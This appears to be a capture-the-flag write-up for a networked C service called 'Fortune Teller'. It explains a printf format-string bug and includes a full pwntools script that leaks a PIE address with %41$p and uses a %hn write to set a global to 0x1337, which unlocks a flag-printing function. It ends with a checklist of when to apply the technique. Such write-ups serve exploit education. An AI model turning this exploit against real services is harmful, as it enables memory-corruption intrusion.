$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: networked x86-64 C oracle with a classic format string bug (printf(question)) and a win() gated by a global uint equal to 0x1337. Solution: leak a PIE return pointer via %41$p, compute the global's .bss address, then use a %hn format-string write to set blessing=0x1337 and trigger win().
=== Fortune Teller === Ask the oracle anything. Perhaps the stars will bless you.
English summary: A menu-driven C service (x86-64, dynamically linked, not stripped) exposed over ncat --ssl. Option 1 asks the oracle, option 2 receives a blessing, option 3 leaves. The goal is to reach win(), which reads and prints flag.txt.
Protections: Full RELRO, stack canary, NX, PIE — so GOT overwrite and saved-return-address hijacking are both impractical.
Key source facts (chall.c):
volatile unsigned int blessing = 0; — a global in .bss.ask_oracle() reads up to 256 bytes into question, then calls printf(question) directly. This is a classic format string vulnerability — user input is used as the format string, giving a read (%p) and write (%n) primitive.receive_blessing() calls win() only if blessing == 0x1337.win() opens flag.txt, fgets into a 128-byte buffer, and puts() it.The insight: we don't need to divert control flow. win() is reachable legitimately by menu option 2, as long as the global blessing holds the magic value 0x1337. The format-string write primitive lets us set that global directly, sidestepping all the hardening (RELRO/PIE/canary never come into play because we never corrupt control data).
The user-controlled buffer begins at printf argument offset 6 on x86-64 (first variadic slots are in registers rsi, rdx, rcx, r8, r9; stack data follows). This was confirmed by sending positional %N$p probes and spotting the echoed input bytes.
A saved return address pointing into main (right after the call ask_oracle) appears at positional offset 41, equal to PIE_base + 0x1664. Leaking it gives:
PIE_base = leak - 0x1664
The blessing global sits at PIE_base + 0x404c (its .bss offset, read from nm/objdump -t).
Two stages over a single connection, both through the same ask_oracle format string:
LEAK:%41$p, parse the leaked pointer, compute PIE_base and then blessing = PIE_base + 0x404c.0x1337 (4919) characters then does a %hn write. Because 0x1337 < 0x10000, a single 2-byte %hn write is enough even though blessing is a 4-byte uint (the high 16 bits are already zero). The payload is padded to 8-byte alignment so the packed target address p64(blessing) lands at a predictable positional offset (offset 8 = buffer start 6 + two prefix qwords).blessing == 0x1337 now passes and win() prints the flag.The remote service uses TLS, so pwntools connects with remote(host, port, ssl=True).
#!/usr/bin/env python3 from pwn import * import sys context.arch = 'amd64' context.log_level = 'info' REMOTE = '--remote' in sys.argv if REMOTE: io = remote('HOST', 1337, ssl=True) # TLS: ncat --ssl else: io = process('./fortune') def ask(payload): io.recvuntil(b'> ') io.sendline(b'1') io.recvuntil(b'Ask the oracle anything:') io.recvuntil(b'> ') io.sendline(payload) io.recvuntil(b'The oracle speaks:\n') return io.recvline() # Stage 1: leak PIE base via positional offset 41 (saved return into main) leak_line = ask(b'LEAK:%41$p') leak = int(leak_line.split(b'LEAK:')[1].strip(), 16) pie = leak - 0x1664 blessing = pie + 0x404c log.info(f'pie base = {hex(pie)} blessing = {hex(blessing)}') # Stage 2: write 0x1337 to blessing using a single %hn (fits in 16 bits) target = 0x1337 for pos in range(6, 20): fmt = b'%' + str(target).encode() + b'c%' + str(pos).encode() + b'$hn' pad = (-len(fmt)) % 8 fmt2 = fmt + b'A' * pad slot = len(fmt2) // 8 actual_pos = 6 + slot # buffer starts at arg offset 6 if actual_pos == pos: payload = fmt2 + p64(blessing) break else: log.error('could not align') ask(payload) # Stage 3: receive blessing -> win() prints the flag io.recvuntil(b'> ') io.sendline(b'2') io.interactive()
Flag format recovered via win(): FLAG{REDACTED}.
Use this technique when:
printf(user_input) (or fprintf/snprintf with user-controlled format) — a direct format string write-what-where primitive.win()/privileged path is gated by a global compared to a magic constant (e.g. if (g == 0x1337)) rather than by return address — overwrite the global with %n, no control-flow hijack needed.< 0x10000) → a single %hn write suffices even for a wider variable whose upper bytes are already zero.ncat --ssl → pwntools remote(host, port, ssl=True).$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar